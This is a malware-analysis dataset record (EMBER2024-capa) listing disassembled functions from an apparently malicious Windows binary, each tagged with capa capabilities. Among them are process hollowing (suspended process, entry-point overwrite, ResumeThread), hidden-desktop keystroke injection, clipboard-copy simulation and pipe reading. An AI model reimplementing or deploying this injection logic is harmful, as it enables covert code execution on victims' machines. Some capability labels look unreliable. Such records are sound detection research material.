joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4424b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x44], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
xor eax, eax
push ebp
push 0x442560
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00444fbc
test al, al
je 0x442542
lea eax, [ebp - 0x40]
mov edx, 0x3c
call fcn.00406f28
mov dword [ebp - 0x40], 0x3c
mov eax, dword [ebp - 4]
call fcn.00404898
mov dword [ebp - 0x30], eax
mov eax, ebx
call fcn.00404898
mov dword [ebp - 0x2c], eax
lea edx, [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.004089e4
mov eax, dword [ebp - 0x44]
call fcn.00404898
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 1
lea eax, [ebp - 0x40]
push eax
call sub.shell32.dll_ShellExecuteExA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x442542
call sub.kernel32.dll_GetLastError
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x442567
lea eax, [ebp - 0x44]
call fcn.004043bc
lea eax, [ebp - 4]
call fcn.004043bc
ret

Function at 0x442570
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
xor esi, esi
or edi, 0xffffffff
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x3c
call fcn.004030e4
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 4]
call fcn.00404898
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 8]
call fcn.00404898
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xc]
call fcn.00404898
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x442618
mov eax, 1
call fcn.004443c4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetExitCodeProcess
test bl, bl
je 0x442604
inc esi
cmp esi, 0x7530
jg 0x44260d
cmp dword [ebp - 0x10], 0x103
je 0x4425e0
mov eax, dword [ebp - 0x14]
call fcn.00444950
mov edi, dword [ebp - 0x10]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x442624
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
xor ebx, ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
mov eax, dword [ebp - 0xc]
call fcn.00404888
xor eax, eax
push ebp
push 0x442788
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x44269e
push 0x4427a0
push dword [ebp - 4]
push 0x4427ac
push dword [ebp - 8]
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00404758
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.00408104
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 8]
call fcn.00404454
lea eax, [ebp - 0x60]
mov edx, 0x44
call fcn.00406f28
lea eax, [ebp - 0x1c]
mov edx, 0x10
call fcn.00406f28
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
test ebx, ebx
je 0x4426dc
mov word [ebp - 0x30], 5
mov eax, ebx
call fcn.00404898
mov dword [ebp - 0x58], eax
jmp 0x4426e2
mov word [ebp - 0x30], 0
cmp dword [ebp - 0xc], 0
jne 0x442718
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
mov eax, dword [ebp - 4]
call fcn.00404898
push eax
call sub.kernel32.dll_CreateProcessA
jmp 0x44274d
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404898
push eax
push 0
push 0x8008000
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
mov eax, dword [ebp - 4]
call fcn.00404898
push eax
call sub.kernel32.dll_CreateProcessA
mov eax, dword [ebp - 0x1c]
mov ebx, eax
cmp byte [ebp + 0xc], 0
je 0x442760
or edx, 0xffffffff
call fcn.004448b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44278f
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.004043e0
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004043e0
ret

Function at 0x4436d8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
xor ecx, ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
xor eax, eax
push ebp
push 0x443788
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44]
mov edx, 0x3c
call fcn.00406f28
mov dword [ebp - 0x44], 0x3c
mov eax, dword [ebp - 4]
call fcn.00404898
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 8]
call fcn.00404898
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x48]
mov eax, dword [ebp - 4]
call fcn.004089e4
mov eax, dword [ebp - 0x48]
call fcn.00404898
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x44]
push eax
call sub.shell32.dll_ShellExecuteExA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x443765
call sub.kernel32.dll_GetLastError
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44378f
lea eax, [ebp - 0x48]
call fcn.004043bc
lea eax, [ebp - 8]
mov edx, 2
call fcn.004043e0
ret
Function at 0x4437d8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
xor eax, eax
push ebp
push 0x443888
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x443863
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x20106
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404898
mov edx, eax
xor ecx, ecx
mov eax, ebx
call fcn.00444ee4
test eax, eax
jne 0x443851
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
call fcn.00444ebc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x44386d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44388f
lea eax, [ebp - 8]
mov edx, 2
call fcn.004043e0
ret

Function at 0x447254
Capabilities:
Get session user name

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
mov eax, dword [0x456644]
cmp dword [eax], 0
je 0x447278
mov eax, ebx
mov edx, dword [0x456644]
mov edx, dword [edx]
call fcn.00404410
jmp 0x4472b2
mov dword [esp], 0x101
push esp
lea eax, [esp + 8]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x44729b
mov edx, dword [esp]
dec edx
mov eax, ebx
call fcn.004049c8
jmp 0x4472a2
mov eax, ebx
call fcn.004043bc
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x101
call fcn.0040462c
add esp, 0x108
pop ebx
ret

Function at 0x447780
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret
Function at 0x448c70
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff40
push ebx
push esi
push edi
mov byte [ebp - 9], cl
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
xor eax, eax
push ebp
push 0x448e53
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x448cae
lea eax, [ebp - 4]
mov edx, 0x448e70
call fcn.00404454
xor ebx, ebx
cmp byte [ebp + 8], 0
je 0x448dbc
xor edi, edi
inc edi
cmp edi, 0xd
je 0x448dbc
lea eax, [ebp - 0xb0]
mov edx, 0x48
call fcn.0040e9ec
call fcn.00448bfc
mov ecx, eax
xor edx, edx
mov eax, 0x2000000
call fcn.00444750
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push eax
push 0
push 1
push 0
call sub.kernel32.dll_InitializeProcThreadAttributeList
mov eax, dword [ebp - 0x10]
push eax
push 0
call sub.kernel32.dll_GetProcessHeap
push eax
call sub.kernel32.dll_HeapAlloc
mov esi, eax
mov dword [ebp - 0x6c], esi
lea eax, [ebp - 0x10]
push eax
push 0
push 1
push esi
call sub.kernel32.dll_InitializeProcThreadAttributeList
push 0
push 0
push 4
lea eax, [ebp - 0x14]
push eax
call fcn.0040ea64
push eax
push 0
mov eax, dword [ebp - 0x6c]
push eax
call sub.kernel32.dll_UpdateProcThreadAttribute
mov dword [ebp - 0xb0], 0x48
mov word [ebp - 0x80], 0
mov dword [ebp - 0x84], 1
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0xb0]
push eax
push 0
push 0
push 0x80004
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404898
push eax
push 0
call sub.kernel32.dll_CreateProcessA_1
test eax, eax
je 0x448cbc
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc0]
call fcn.0042d330
mov ebx, eax
test bl, bl
je 0x448e3d
cmp byte [ebp - 9], 0
je 0x448dac
call fcn.004444cc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0xb8]
mov dword [eax], edx
jmp 0x448e3d
mov eax, dword [ebp + 0xc]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x58]
mov edx, 0x44
call fcn.0040e9ec
lea eax, [ebp - 0x68]
mov edx, 0x10
call fcn.0040e9ec
mov dword [ebp - 0x58], 0x44
mov word [ebp - 0x28], 0
mov dword [ebp - 0x2c], 1
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404898
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x448e3d
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x68]
call fcn.0042d330
mov ebx, eax
test bl, bl
je 0x448e3d
cmp byte [ebp - 9], 0
je 0x448e35
call fcn.004444cc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x60]
mov dword [eax], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x448e5a
lea eax, [ebp - 4]
call fcn.004043bc
ret
Function at 0x4497a4
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xffffff60
push ebx
xor ecx, ecx
mov dword [ebp - 0x109c], ecx
mov dword [ebp - 0x10a0], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
xor eax, eax
push ebp
push 0x449981
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0xc]
mov eax, 8
call fcn.00443988
mov eax, 0x449998
call fcn.004454a4
test al, al
jne 0x44980f
mov eax, 0x449998
call fcn.00444e70
lea ecx, [ebp - 0x10a0]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.004415a8
mov ecx, dword [ebp - 0x10a0]
lea eax, [ebp - 0x109c]
mov edx, dword [ebp - 0xc]
call fcn.004046e4
mov edx, dword [ebp - 0x109c]
mov eax, 0x4499a8
call fcn.004450ac
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x80]
mov edx, 0x44
call fcn.00406f28
lea eax, [ebp - 0x38]
mov edx, 0x10
call fcn.00406f28
mov dword [ebp - 0x80], 0x44
mov word [ebp - 0x50], 0
mov dword [ebp - 0x54], 1
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
mov ebx, eax
push ebx
push ebx
call sub.kernel32.dll_CreateProcessA_1
lea eax, [ebp - 0x10]
push eax
push 0x18
lea eax, [ebp - 0x98]
push eax
push 0
mov eax, dword [ebp - 0x38]
push eax
call sub.ntdll.dll_NtQueryInformationProcess
mov eax, dword [ebp - 0x94]
add eax, 8
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x24], eax
push 4
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
call fcn.00444db0
lea eax, [ebp - 0x1098]
xor ecx, ecx
mov edx, 0x1000
call fcn.004030e4
push 0x1000
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x1098]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
call fcn.00444db0
lea ecx, [ebp - 0x1098]
mov dword [ebp - 0x18], ecx
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
push 0xb10
lea eax, [ebp - 0x28]
push eax
mov ecx, 0x455984
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
call fcn.00444d28
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449988
lea eax, [ebp - 0x10a0]
mov edx, 2
call fcn.004043e0
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004043e0
ret
Function at 0x449a24
Capabilities:
Log keystrokes

Disassembly:
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x41
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x41
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x41
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x41
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x43
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x43
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x43
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x43
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
ret

Function at 0x44a9bc
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x44aac5
push dword fs:[eax]
mov dword fs:[eax], esp
mov al, 1
call fcn.00433c24
mov dl, 1
mov eax, dword [0x4266a0]
call fcn.00429cd0
mov dword [ebp - 4], eax
xor edx, edx
push ebp
push 0x44aab0
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0044ade0
push 0
push 0
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, esi
mov eax, ebx
call fcn.004314e4
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x58]
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x456520]
cmp byte [eax], 0
jne 0x44aa26
mov eax, dword [0x45663c]
mov byte [eax], 1
lea eax, [ebp - 0x24]
push eax
push 0
lea eax, [ebp - 8]
push eax
mov ecx, 0x431560
xor edx, edx
xor eax, eax
call fcn.00404370
mov ebx, eax
push 0x1770
push ebx
call sub.kernel32.dll_WaitForSingleObject
mov edx, dword [0x45663c]
mov byte [edx], 0
sub eax, 1
jae 0x44aa8a
mov ebx, dword [ebp - 0x24]
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [ebx + 4]
mov eax, dword [ebp + 8]
call fcn.004044ac
jmp 0x44aa92
push 0
push ebx
call sub.kernel32.dll_TerminateThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44aab7
mov eax, dword [ebp - 4]
call fcn.00403698
mov eax, dword [ebp - 0x24]
call fcn.00403698
ret
Function at 0x44abd0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x120], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44adab
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov dl, 1
mov eax, dword [0x41567c]
call fcn.00403668
mov dword [ebp - 0xc], eax
mov dl, 1
mov eax, dword [0x41567c]
call fcn.00403668
mov edx, dword [ebp + 8]
mov dword [edx - 4], eax
xor eax, eax
push ebp
push 0x44ad86
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
push 0x44abb8
call sub.user32.dll_EnumWindows
mov eax, dword [ebp - 0xc]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x44ad64
inc esi
xor ebx, ebx
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.0041657c
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.004165e0
inc eax
jne 0x44ad5c
push pe_nt_image_headers32
lea eax, [ebp - 0x10c]
push eax
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.0041657c
push eax
call sub.user32.dll_GetClassNameA
lea eax, [ebp - 0x120]
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.0040462c
mov eax, dword [ebp - 0x120]
mov edx, 0x44adc4
call fcn.004047e4
jne 0x44acbe
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.0041657c
mov dword [ebp - 8], eax
lea eax, [ebp - 0x124]
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.0040462c
mov edx, dword [ebp - 0x124]
mov eax, 0x44add4
call fcn.00404980
test eax, eax
jle 0x44acf5
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.0041657c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x44ad5c
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44ad5c
lea eax, [ebp - 0x11c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_GetWindowRect
test eax, eax
je 0x44ad5c
mov dl, 1
mov eax, dword [0x4266a0]
call fcn.00429cd0
mov edi, eax
mov cl, 1
mov edx, edi
mov eax, dword [ebp - 8]
call fcn.0044aad8
push edi
mov eax, dword [ebp - 4]
call fcn.0042a22c
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x11c]
call fcn.00427d54
mov eax, edi
call fcn.00403698
xor eax, eax
mov dword [ebp - 8], eax
inc ebx
dec esi
jne 0x44ac4f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ad8d
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00403698
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov dword [eax - 4], edx
ret

Function at 0x44b1d4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404888
xor eax, eax
push ebp
push 0x44b237
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x44b24c
call fcn.004046a0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00404698
push eax
lea eax, [ebp - 4]
call fcn.004048f0
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b23e
lea eax, [ebp - 4]
call fcn.004043bc
ret
Function at 0x44b250
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x44b259
mov eax, dword [ebp - 4]
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x44b316
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004043bc
mov dword [ebp - 0xc], 0x7fff
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push ebx
call sub.kernel32.dll_PeekNamedPipe
cmp dword [ebp - 8], 0
jbe 0x44b300
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x800b]
push eax
push ebx
call sub.kernel32.dll_ReadFile
lea eax, [ebp - 0x800b]
push eax
lea eax, [ebp - 0x800b]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 4]
lea edx, [ebp - 0x800b]
mov ecx, 0x7fff
call fcn.004044ac
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.004049c8
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404410
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44b31d
lea eax, [ebp - 4]
call fcn.004043bc
ret
Function at 0x44b8d8
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x44bbda
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x458068]
push eax
call sub.user32.dll_SetThreadDesktop
mov bl, 1
mov edx, 0x44bbec
xor eax, eax
call fcn.00444a48
mov edi, eax
test edi, edi
jne 0x44b923
mov eax, 0x44bc08
xor edx, edx
call fcn.00444a48
mov edi, eax
test edi, edi
jne 0x44b93f
push 0x1770
call sub.kernel32.dll_Sleep_1
mov eax, 0x44bc08
xor edx, edx
call fcn.00444a48
mov edi, eax
test edi, edi
jne 0x44b95b
push 0x1770
call sub.kernel32.dll_Sleep_1
mov eax, 0x44bc08
xor edx, edx
call fcn.00444a48
mov edi, eax
test edi, edi
jne 0x44b970
mov eax, 0x44bc18
call fcn.0043ca3c
xor ebx, ebx
jmp 0x44bbbf
mov eax, 0x44bc40
call fcn.0043ca3c
test edi, edi
je 0x44bbbf
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 9
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 9
push 0x101
push edi
call sub.user32.dll_PostMessageA
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 9
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 9
push 0x101
push edi
call sub.user32.dll_PostMessageA
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 9
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 9
push 0x101
push edi
call sub.user32.dll_PostMessageA
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 0xd
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 0xd
push 0x101
push edi
call sub.user32.dll_PostMessageA
xor edi, edi
push 0x7d0
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x458068]
push eax
call sub.user32.dll_SetThreadDesktop
push 0x64
call sub.kernel32.dll_Sleep_1
mov dl, 1
mov eax, dword [0x415a44]
call fcn.00403668
mov edx, dword [0x4566fc]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x415a44]
call fcn.00403668
mov edx, dword [0x4565e8]
mov dword [edx], eax
xor esi, esi
push esi
push 0x430614
call sub.user32.dll_EnumWindows
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x44ba89
mov eax, 0x44bc60
call fcn.0043ca3c
push 0x44bc7c
mov eax, dword [0x4568ac]
push dword [eax]
lea edx, [ebp - 0xc]
mov eax, dword [0x4566fc]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push dword [ebp - 0xc]
mov eax, dword [0x4568ac]
push dword [eax]
push 0x44bc98
mov eax, dword [0x4568ac]
push dword [eax]
lea edx, [ebp - 0x10]
mov eax, dword [0x4565e8]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 7
call fcn.00404758
mov eax, dword [ebp - 8]
call fcn.0043ca3c
jmp 0x44bbbf
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44bbe1
lea eax, [ebp - 0x20]
mov edx, 7
call fcn.004043e0
ret